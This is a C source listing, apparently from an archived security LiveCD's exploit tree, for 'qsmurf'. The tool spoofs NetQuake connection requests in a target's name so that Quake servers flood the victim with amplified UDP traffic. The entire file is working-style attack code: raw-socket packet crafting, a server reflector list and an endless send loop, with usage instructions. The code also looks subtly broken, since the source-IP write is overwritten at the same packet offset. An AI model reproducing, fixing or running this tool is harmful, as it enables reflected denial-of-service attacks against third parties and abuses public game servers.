home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / quake / qsmurf.c < prev   
C/C++ Source or Header  |  2005-02-12  |  6KB  |  221 lines

  1. /*
  2.   qsmurf.c
  3.   Written by Jamal Motsa (Haul@EFnet), based on qflood.c by Andy Gavin (_k3nny@EFnet, k@ETG)
  4.   Look at his original post for the original credits.
  5.   The anti-script kiddie file descriptor bug has been removed and the code was cleaned up a lot.
  6.  
  7.   This works based on the fact that when a Quake client connects to a Quake server, much more data
  8.   is received by the client than is sent.  This program will spoof connections from a target (source
  9.   IP Address) to NetQuake servers, which will reply to the target with lots of data with an
  10.   amplification rate approaching 20:1.
  11.  
  12.   Greets to:
  13.   Sean Stanek (vulture@EFnet) for doing most of the code optimization.
  14.   SFS, WHHS, Marlboro, the Shao Lin
  15.   Lithium Node and channel regulars, TPC, X-Tommy, the defunct #BrainFreze Jeff, NEO, Kwizatz@RURC
  16.   Sang, zuez, dead-sexy.com and crew, #phear on EFnet, AY, Eric R. for providing me with DNS
  17.  
  18.   And a big middle finger to:
  19.   BTA (for being quite possibly the worse Quake 3 clan in history)
  20.   anyone who packets EFnet servers
  21.   and finally, to whoever framed OJ
  22. */
  23.  
  24. #include <ctype.h>
  25. #include <errno.h>
  26. #include <netdb.h>
  27. #include <signal.h>
  28. #include <stdio.h>
  29. #include <stdlib.h>
  30. #include <string.h>
  31. #include <time.h>
  32. #include <unistd.h>
  33. #include <arpa/inet.h>
  34. #include <netinet/in.h>
  35. #include <netinet/in_systm.h>
  36. #include <netinet/ip.h>
  37. #include <netinet/udp.h>
  38. #include <sys/socket.h>
  39. #include <sys/types.h>
  40.  
  41. struct sockaddr sa;
  42. struct node
  43. {
  44.   char *address;
  45.   struct node *next;
  46.   unsigned int ip;
  47. };
  48.  
  49. struct node *head = NULL;
  50. struct node *tail;
  51.  
  52. void add_address( struct node **, char * );
  53. void sig_handler( int );
  54.  
  55. int main( int argc, char **argv )
  56. {
  57.   int x = 1;
  58.   int source_port, delay, fd;
  59.   unsigned int ip;
  60.   struct sockaddr_in *p;
  61.   struct hostent *he;
  62.   struct node *current;
  63.   char *temp;
  64.  
  65.   u_char thePACKET[41]=
  66.   {
  67.     0x45,                       /* IP version, header len */
  68.     0x00,                       /* IP diff services field */
  69.     0x00, 0x29,                 /* IP total length */
  70.     0xc2, 0xb5,                 /* IP id */
  71.     0x00, 0x00,                 /* IP fragment offset */
  72.     0x80,                       /* IP TTL */
  73.     0x11,                       /* IP protocol */
  74.     0, 0,                       /* IP header checksum */
  75.     0, 0, 0, 0,                 /* IP src */
  76.     0, 0, 0, 0,                 /* IP dest */
  77.     0x00, 0x00,                 /* UDP src port */
  78.     0, 0,                       /* UDP dest port */
  79.     0x00, 0x15,                 /* length = 21 */
  80.     0x00, 0x00,                 /* UDP checksum */
  81.     0x80, 0x00,                 /* Quake flags */
  82.     0x00, 0x0d,                 /* Quake length */
  83.     0x01,                       /* Quake command = connect */
  84.     0x51, 0x55, 0x41, 0x4b,     /* Quake game = QUAKE */
  85.     0x45, 0x00,
  86.     0x03, 0x01                  /* Quake version = 3 */
  87.   };
  88.  
  89.   if( argc != 5 )
  90.   {
  91.     fprintf( stderr, "\nqsmurf - floods targets with amplified UDP packets using the NetQuake protocol\n" );
  92.     fprintf( stderr, "\tWritten by Jamal Motsa (Haul@EFnet)\n" );
  93.     fprintf( stderr, "\tUsage: %s <servers> <src> <server_port> <delay>\n", *argv );
  94.     fprintf( stderr, "\t\tservers = comma-delimited list of IP Address/hostnames of Quake servers\n" );
  95.     fprintf( stderr, "\t\tsrc = IP Address/hostname of target\n" );
  96.     fprintf( stderr, "\t\tserver_port = Quake server port\n" );
  97.     fprintf( stderr, "\t\tdelay = delay between connection requests (in usec, 0 for no delay)\n" );
  98.     fprintf( stderr, "\t\texample: %s 10.0.0.2,10.0.0.3 10.0.0.10 26000 50000\n\n", argv[0] );
  99.     exit( 0 );
  100.   }
  101.  
  102.   srand( time( NULL ));
  103.   delay = atoi( argv[4] );
  104.  
  105.   /* build a linked list of addresses entered on command line */
  106.   temp = strtok( argv[1], "," );
  107.   add_address( &head, temp );
  108.  
  109.   signal( SIGINT, sig_handler );
  110.  
  111.   tail = head;
  112.  
  113.   temp = strtok( NULL, "," );
  114.   while( temp != NULL )
  115.   {
  116.     add_address( &(tail->next), temp );
  117.     tail = tail->next;
  118.     temp = strtok( NULL, "," );
  119.   }
  120.  
  121.   current = head;
  122.  
  123.   if(( fd=socket( AF_INET, SOCK_RAW, IPPROTO_RAW )) == -1 )
  124.   {
  125.     perror( "Can't create raw socket (you must run as root)" );
  126.     exit( 0 );
  127.   }
  128.  
  129.   if( setsockopt( fd, IPPROTO_IP, IP_HDRINCL, (char*)&x, sizeof(x)) < 0 )
  130.   {
  131.     perror( "setsockopt IP_HDRINCL error" );
  132.     exit( 0 );
  133.   }
  134.  
  135.   if( ( he = gethostbyname( argv[2]) ) == NULL )
  136.   {
  137.     fprintf( stderr, "Can't resolve src\n" );
  138.     exit( 0 );
  139.   }
  140.  
  141.   bcopy( *( he->h_addr_list ), &ip, 4 );
  142.  
  143.  
  144.   while( 1 )
  145.   {
  146.     while( current != NULL )
  147.     {
  148.       bcopy( &ip, ( thePACKET + 16 ), 4 );
  149.       bcopy( &(current->ip), ( thePACKET + 16 ), 4 );
  150.  
  151.       source_port = rand() % 3976 + 1024;
  152.  
  153.       *(u_short*)(thePACKET + 20) = htons( (u_short) source_port );
  154.       *(u_short*)(thePACKET + 22) = htons( (u_short) atoi( argv[3] ));
  155.  
  156.       p = ( struct sockaddr_in* ) &sa;
  157.       p->sin_family = AF_INET;
  158.       bcopy( ¤t->ip, &(p->sin_addr), 4 );
  159.  
  160.       if(( sendto( fd, &thePACKET, sizeof(thePACKET), 0, (struct sockaddr*)p, sizeof(struct sockaddr ))) == -1)
  161.       {
  162.         perror( "sendto error" );
  163.         exit( 0 );
  164.       }
  165.  
  166.       printf( "Quake connection request sent from %s:%i to %s:%s\n", argv[2], source_port, current->address,
  167. argv[3] );
  168.  
  169.       if( delay > 0 ) usleep( delay );
  170.       current = current->next;
  171.     }
  172.     current = head;
  173.   }
  174.   exit( 1 );
  175. }
  176.  
  177. void add_address( struct node** reference, char *data )
  178. {
  179.   struct hostent * he;
  180.   struct node* new_node = malloc( sizeof( struct node ));
  181.  
  182.   new_node->address = data;
  183.   new_node->next = *reference;
  184.  
  185.   if( ( he = gethostbyname( new_node->address )) == NULL )
  186.   {
  187.     fprintf( stderr, "Can't resolve server\n");
  188.     exit( 0 );
  189.   }
  190.   bcopy( *( he->h_addr_list ), &(new_node->ip), 4 );
  191.  
  192.   *reference = new_node;
  193. }
  194.  
  195. void sig_handler( int number )
  196. {
  197.   struct node *current = head;
  198.   struct node *next;
  199.  
  200.   printf( "\nCaught SIGINT.  Cleaning up memory..." );
  201.   while( current != NULL )
  202.   {
  203.     next = current->next;
  204.     free( current );
  205.     current = next;
  206.   }
  207.   printf( "done.\n\n" );
  208.   exit( 1 );
  209. }
  210.  
  211.  
  212.  
  213.  
  214.  
  215.  
  216.  
  217.  
  218.  
  219.  
  220.  
  221.